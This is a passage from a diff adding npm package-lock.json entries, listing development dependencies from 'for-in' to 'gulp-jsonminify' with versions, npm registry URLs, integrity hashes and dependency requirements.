+ "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==",
+ "dev": true,
+ "requires": {
+ "inherits": "^2.0.3",
+ "readable-stream": "^2.3.6"
+ }
+ },
+ "for-in": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
+ "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==",
+ "dev": true
+ },
+ "for-own": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
+ "integrity": "sha512-0OABksIGrxKK8K4kynWkQ7y1zounQxP+CWnyclVwj81KW3vlLlGUx57DKGcP/LH216GzqnstnPocF16Nxs0Ycg==",
+ "dev": true,
+ "requires": {
+ "for-in": "^1.0.1"
+ }
+ },
+ "foreground-child": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-2.0.0.tgz",
+ "integrity": "sha512-dCIq9FpEcyQyXKCkyzmlPTFNgrCzPudOe+mhvJU5zAtlBnGVy2yKxtfsxK2tQBThwq225jcvBjpw1Gr40uzZCA==",
+ "dev": true,
+ "requires": {
+ "cross-spawn": "^7.0.0",
+ "signal-exit": "^3.0.2"
+ }
+ },
+ "form-data": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
+ "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
+ "dev": true,
+ "requires": {
+ "asynckit": "^0.4.0",
+ "combined-stream": "^1.0.8",
+ "mime-types": "^2.1.12"
+ }
+ },
+ "fraction.js": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.2.0.tgz",
+ "integrity": "sha512-MhLuK+2gUcnZe8ZHlaaINnQLl0xRIGRfcGk2yl8xoQAfHrSsL3rYu6FCmBdkdbhc9EPlwyGHewaRsvwRMJtAlA==",
+ "dev": true
+ },
+ "fragment-cache": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
+ "integrity": "sha512-GMBAbW9antB8iZRHLoGw0b3HANt57diZYFO/HL1JGIC1MjKrdmhxvrJbupnVvpys0zsz7yBApXdQyfepKly2kA==",
+ "dev": true,
+ "requires": {
+ "map-cache": "^0.2.2"
+ }
+ },
+ "from": {
+ "version": "0.1.7",
+ "resolved": "https://registry.npmjs.org/from/-/from-0.1.7.tgz",
+ "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==",
+ "dev": true
+ },
+ "fromentries": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/fromentries/-/fromentries-1.3.2.tgz",
+ "integrity": "sha512-cHEpEQHUg0f8XdtZCc2ZAhrHzKzT0MrFUTcvx+hfxYu7rGMDc5SKoXFh+n4YigxsHXRzc6OrCshdR1bWH6HHyg==",
+ "dev": true
+ },
+ "fs-extra": {
+ "version": "11.1.1",
+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.1.1.tgz",
+ "integrity": "sha512-MGIE4HOvQCeUCzmlHs0vXpih4ysz4wg9qiSAu6cd42lVwPbTM1TjV7RusoyQqMmk/95gdQZX72u+YW+c3eEpFQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.2.0",
+ "jsonfile": "^6.0.1",
+ "universalify": "^2.0.0"
+ },
+ "dependencies": {
+ "universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+ "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
+ "dev": true
+ }
+ }
+ },
+ "fs-mkdirp-stream": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs-mkdirp-stream/-/fs-mkdirp-stream-1.0.0.tgz",
+ "integrity": "sha512-+vSd9frUnapVC2RZYfL3FCB2p3g4TBhaUmrsWlSudsGdnxIuUvBB2QM1VZeBtc49QFwrp+wQLrDs3+xxDgI5gQ==",
+ "dev": true,
+ "requires": {
+ "graceful-fs": "^4.1.11",
+ "through2": "^2.0.3"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "fs.realpath": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
+ "dev": true
+ },
+ "fsevents": {
+ "version": "1.2.13",
+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
+ "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
+ "dev": true,
+ "optional": true,
+ "requires": {
+ "bindings": "^1.5.0",
+ "nan": "^2.12.1"
+ }
+ },
+ "function-bind": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
+ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==",
+ "dev": true
+ },
+ "functional-red-black-tree": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
+ "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==",
+ "dev": true
+ },
+ "gensync": {
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+ "dev": true
+ },
+ "get-caller-file": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
+ "dev": true
+ },
+ "get-func-name": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/get-func-name/-/get-func-name-2.0.0.tgz",
+ "integrity": "sha512-Hm0ixYtaSZ/V7C8FJrtZIuBBI+iSgL+1Aq82zSu8VQNB4S3Gk8e7Qs3VwBDJAhmRZcFqkl3tQu36g/Foh5I5ig==",
+ "dev": true
+ },
+ "get-intrinsic": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.1.tgz",
+ "integrity": "sha512-2DcsyfABl+gVHEfCOaTrWgyt+tb6MSEGmKq+kI5HwLbIYgjgmMcV8KQ41uaKz1xxUcn9tJtgFbQUEVcEbd0FYw==",
+ "dev": true,
+ "requires": {
+ "function-bind": "^1.1.1",
+ "has": "^1.0.3",
+ "has-proto": "^1.0.1",
+ "has-symbols": "^1.0.3"
+ }
+ },
+ "get-package-type": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz",
+ "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==",
+ "dev": true
+ },
+ "get-stdin": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-9.0.0.tgz",
+ "integrity": "sha512-dVKBjfWisLAicarI2Sf+JuBE/DghV4UzNAVe9yhEJuzeREd3JhOTE9cUaJTeSa77fsbQUK3pcOpJfM59+VKZaA==",
+ "dev": true
+ },
+ "get-stream": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+ "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+ "dev": true,
+ "requires": {
+ "pump": "^3.0.0"
+ }
+ },
+ "get-value": {
+ "version": "2.0.6",
+ "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
+ "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA==",
+ "dev": true
+ },
+ "glob": {
+ "version": "7.1.7",
+ "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz",
+ "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==",
+ "dev": true,
+ "requires": {
+ "fs.realpath": "^1.0.0",
+ "inflight": "^1.0.4",
+ "inherits": "2",
+ "minimatch": "^3.0.4",
+ "once": "^1.3.0",
+ "path-is-absolute": "^1.0.0"
+ }
+ },
+ "glob-parent": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",
+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^4.0.3"
+ }
+ },
+ "glob-stream": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/glob-stream/-/glob-stream-6.1.0.tgz",
+ "integrity": "sha512-uMbLGAP3S2aDOHUDfdoYcdIePUCfysbAd0IAoWVZbeGU/oNQ8asHVSshLDJUPWxfzj8zsCG7/XeHPHTtow0nsw==",
+ "dev": true,
+ "requires": {
+ "extend": "^3.0.0",
+ "glob": "^7.1.1",
+ "glob-parent": "^3.1.0",
+ "is-negated-glob": "^1.0.0",
+ "ordered-read-streams": "^1.0.0",
+ "pumpify": "^1.3.5",
+ "readable-stream": "^2.1.5",
+ "remove-trailing-separator": "^1.0.1",
+ "to-absolute-glob": "^2.0.0",
+ "unique-stream": "^2.0.2"
+ },
+ "dependencies": {
+ "glob-parent": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+ "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+ "dev": true,
+ "requires": {
+ "is-glob": "^3.1.0",
+ "path-dirname": "^1.0.0"
+ }
+ },
+ "is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "requires": {
+ "is-extglob": "^2.1.0"
+ }
+ }
+ }
+ },
+ "glob-to-regexp": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz",
+ "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==",
+ "dev": true,
+ "peer": true
+ },
+ "glob-watcher": {
+ "version": "5.0.5",
+ "resolved": "https://registry.npmjs.org/glob-watcher/-/glob-watcher-5.0.5.tgz",
+ "integrity": "sha512-zOZgGGEHPklZNjZQaZ9f41i7F2YwE+tS5ZHrDhbBCk3stwahn5vQxnFmBJZHoYdusR6R1bLSXeGUy/BhctwKzw==",
+ "dev": true,
+ "requires": {
+ "anymatch": "^2.0.0",
+ "async-done": "^1.2.0",
+ "chokidar": "^2.0.0",
+ "is-negated-glob": "^1.0.0",
+ "just-debounce": "^1.0.0",
+ "normalize-path": "^3.0.0",
+ "object.defaults": "^1.1.0"
+ }
+ },
+ "global-modules": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+ "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+ "dev": true,
+ "requires": {
+ "global-prefix": "^1.0.1",
+ "is-windows": "^1.0.1",
+ "resolve-dir": "^1.0.0"
+ }
+ },
+ "global-prefix": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+ "integrity": "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==",
+ "dev": true,
+ "requires": {
+ "expand-tilde": "^2.0.2",
+ "homedir-polyfill": "^1.0.1",
+ "ini": "^1.3.4",
+ "is-windows": "^1.0.1",
+ "which": "^1.2.14"
+ },
+ "dependencies": {
+ "which": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+ "dev": true,
+ "requires": {
+ "isexe": "^2.0.0"
+ }
+ }
+ }
+ },
+ "globals": {
+ "version": "11.12.0",
+ "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+ "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
+ "dev": true
+ },
+ "globby": {
+ "version": "11.1.0",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.1.0.tgz",
+ "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==",
+ "dev": true,
+ "requires": {
+ "array-union": "^2.1.0",
+ "dir-glob": "^3.0.1",
+ "fast-glob": "^3.2.9",
+ "ignore": "^5.2.0",
+ "merge2": "^1.4.1",
+ "slash": "^3.0.0"
+ },
+ "dependencies": {
+ "ignore": {
+ "version": "5.2.4",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.2.4.tgz",
+ "integrity": "sha512-MAb38BcSbH0eHNBxn7ql2NH/kX33OkB3lZ1BNdh7ENeRChHTYsTvWrMubiIAMNS2llXEEgZ1MUOBtXChP3kaFQ==",
+ "dev": true
+ }
+ }
+ },
+ "glogg": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/glogg/-/glogg-1.0.2.tgz",
+ "integrity": "sha512-5mwUoSuBk44Y4EshyiqcH95ZntbDdTQqA3QYSrxmzj28Ai0vXBGMH1ApSANH14j2sIRtqCEyg6PfsuP7ElOEDA==",
+ "dev": true,
+ "requires": {
+ "sparkles": "^1.0.0"
+ }
+ },
+ "graceful-fs": {
+ "version": "4.2.11",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
+ "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==",
+ "dev": true
+ },
+ "growl": {
+ "version": "1.10.5",
+ "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz",
+ "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==",
+ "dev": true
+ },
+ "gulp": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/gulp/-/gulp-4.0.2.tgz",
+ "integrity": "sha512-dvEs27SCZt2ibF29xYgmnwwCYZxdxhQ/+LFWlbAW8y7jt68L/65402Lz3+CKy0Ov4rOs+NERmDq7YlZaDqUIfA==",
+ "dev": true,
+ "requires": {
+ "glob-watcher": "^5.0.3",
+ "gulp-cli": "^2.2.0",
+ "undertaker": "^1.2.1",
+ "vinyl-fs": "^3.0.0"
+ }
+ },
+ "gulp-change": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/gulp-change/-/gulp-change-1.0.2.tgz",
+ "integrity": "sha512-Okikw3E9bK+mmhC8VGFk+i4iafKTtGTnTGpCheuGtJn51TuMxQ5ooLeRvAfncyr4FQF+Byksj9OaecpDpYDFkw==",
+ "dev": true,
+ "requires": {
+ "event-stream": "^4.0.1"
+ }
+ },
+ "gulp-clean-css": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/gulp-clean-css/-/gulp-clean-css-4.3.0.tgz",
+ "integrity": "sha512-mGyeT3qqFXTy61j0zOIciS4MkYziF2U594t2Vs9rUnpkEHqfu6aDITMp8xOvZcvdX61Uz3y1mVERRYmjzQF5fg==",
+ "dev": true,
+ "requires": {
+ "clean-css": "4.2.3",
+ "plugin-error": "1.0.1",
+ "through2": "3.0.1",
+ "vinyl-sourcemaps-apply": "0.2.1"
+ }
+ },
+ "gulp-cli": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/gulp-cli/-/gulp-cli-2.3.0.tgz",
+ "integrity": "sha512-zzGBl5fHo0EKSXsHzjspp3y5CONegCm8ErO5Qh0UzFzk2y4tMvzLWhoDokADbarfZRL2pGpRp7yt6gfJX4ph7A==",
+ "dev": true,
+ "requires": {
+ "ansi-colors": "^1.0.1",
+ "archy": "^1.0.0",
+ "array-sort": "^1.0.0",
+ "color-support": "^1.1.3",
+ "concat-stream": "^1.6.0",
+ "copy-props": "^2.0.1",
+ "fancy-log": "^1.3.2",
+ "gulplog": "^1.0.0",
+ "interpret": "^1.4.0",
+ "isobject": "^3.0.1",
+ "liftoff": "^3.1.0",
+ "matchdep": "^2.0.0",
+ "mute-stdout": "^1.0.0",
+ "pretty-hrtime": "^1.0.0",
+ "replace-homedir": "^1.0.0",
+ "semver-greatest-satisfied-range": "^1.1.0",
+ "v8flags": "^3.2.0",
+ "yargs": "^7.1.0"
+ },
+ "dependencies": {
+ "ansi-colors": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-1.1.0.tgz",
+ "integrity": "sha512-SFKX67auSNoVR38N3L+nvsPjOE0bybKTYbkf5tRvushrAPQ9V75huw0ZxBkKVeRU9kqH3d6HA4xTckbwZ4ixmA==",
+ "dev": true,
+ "requires": {
+ "ansi-wrap": "^0.1.0"
+ }
+ },
+ "ansi-regex": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+ "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+ "dev": true
+ },
+ "camelcase": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
+ "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==",
+ "dev": true
+ },
+ "cliui": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
+ "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==",
+ "dev": true,
+ "requires": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1",
+ "wrap-ansi": "^2.0.0"
+ }
+ },
+ "get-caller-file": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
+ "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==",
+ "dev": true
+ },
+ "is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+ "dev": true,
+ "requires": {
+ "number-is-nan": "^1.0.0"
+ }
+ },
+ "string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+ "dev": true,
+ "requires": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ }
+ },
+ "strip-ansi": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+ "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+ "dev": true,
+ "requires": {
+ "ansi-regex": "^2.0.0"
+ }
+ },
+ "wrap-ansi": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
+ "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==",
+ "dev": true,
+ "requires": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1"
+ }
+ },
+ "y18n": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz",
+ "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ==",
+ "dev": true
+ },
+ "yargs": {
+ "version": "7.1.2",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.2.tgz",
+ "integrity": "sha512-ZEjj/dQYQy0Zx0lgLMLR8QuaqTihnxirir7EwUHp1Axq4e3+k8jXU5K0VLbNvedv1f4EWtBonDIZm0NUr+jCcA==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^3.0.0",
+ "cliui": "^3.2.0",
+ "decamelize": "^1.1.1",
+ "get-caller-file": "^1.0.1",
+ "os-locale": "^1.4.0",
+ "read-pkg-up": "^1.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^1.0.1",
+ "set-blocking": "^2.0.0",
+ "string-width": "^1.0.2",
+ "which-module": "^1.0.0",
+ "y18n": "^3.2.1",
+ "yargs-parser": "^5.0.1"
+ }
+ },
+ "yargs-parser": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.1.tgz",
+ "integrity": "sha512-wpav5XYiddjXxirPoCTUPbqM0PXvJ9hiBMvuJgInvo4/lAOTZzUprArw17q2O1P2+GHhbBr18/iQwjL5Z9BqfA==",
+ "dev": true,
+ "requires": {
+ "camelcase": "^3.0.0",
+ "object.assign": "^4.1.0"
+ }
+ }
+ }
+ },
+ "gulp-concat": {
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/gulp-concat/-/gulp-concat-2.6.1.tgz",
+ "integrity": "sha512-a2scActrQrDBpBbR3WUZGyGS1JEPLg5PZJdIa7/Bi3GuKAmPYDK6SFhy/NZq5R8KsKKFvtfR0fakbUCcKGCCjg==",
+ "dev": true,
+ "requires": {
+ "concat-with-sourcemaps": "^1.0.0",
+ "through2": "^2.0.0",
+ "vinyl": "^2.0.0"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "gulp-htmlmin": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/gulp-htmlmin/-/gulp-htmlmin-5.0.1.tgz",
+ "integrity": "sha512-ASlyDPZOSKjHYUifYV0rf9JPDflN9IRIb8lw2vRqtYMC4ljU3zAmnnaVXwFQ3H+CfXxZSUesZ2x7jrnPJu93jA==",
+ "dev": true,
+ "requires": {
+ "html-minifier": "^3.5.20",
+ "plugin-error": "^1.0.1",
+ "through2": "^2.0.3"
+ },
+ "dependencies": {
+ "through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "requires": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ }
+ }
+ },
+ "gulp-jsonminify": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/gulp-jsonminify/-/gulp-jsonminify-1.1.0.tgz",
+ "integrity": "sha512-nkqH5aRajfCGD8HB2yN+QSEQG0SMEpS7UyOp3HS966Og4DqUX0y8sPF5SU8uSsGLLLXbnHwyHbDkxauYO/pSpQ==",
+ "dev": true,
+ "requires": {
+ "jsonminify": "~0.2.3",
+ "plugin-error": "^0.1.2",
+ "through2": "~0.6.5"
+ },
+ "dependencies": {
+ "arr-diff": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-1.1.0.tgz",
+ "integrity": "sha512-OQwDZUqYaQwyyhDJHThmzId8daf4/RFNLaeh3AevmSeZ5Y7ug4Ga/yKc6l6kTZOBW781rCj103ZuTh8GAsB3+Q==",
+ "dev": true,
+ "requires": {
+ "arr-flatten": "^1.0.1",
+ "array-slice": "^0.2.3"
+ }
+ },
+ "arr-union": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-2.1.0.tgz",
+ "integrity": "sha512-t5db90jq+qdgk8aFnxEkjqta0B/GHrM1pxzuuZz2zWsOXc5nKu3t+76s/PQBA8FTcM/ipspIH9jWG4OxCBc2eA==",
+ "dev": true
+ },
+ "array-slice": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/array-slice/-/array-slice-0.2.3.tgz",
+ "integrity": "sha512-rlVfZW/1Ph2SNySXwR9QYkChp8EkOEiTMO5Vwx60usw04i4nWemkm9RXmQqgkQFaLHsqLuADvjp6IfgL9l2M8Q==",
+ "dev": true
+ },
+ "extend-shallow": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-1.1.4.tgz",
+ "integrity": "sha512-L7AGmkO6jhDkEBBGWlLtftA80Xq8DipnrRPr0pyi7GQLXkaq9JYA4xF4z6qnadIC6euiTDKco0cGSU9muw+WTw==",
+ "dev": true,
+ "requires": {
+ "kind-of": "^1.1.0"
+ }
+ },
+ "isarray": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+ "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==",
+ "dev": true
+ },
+ "kind-of": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-1.1.0.tgz",
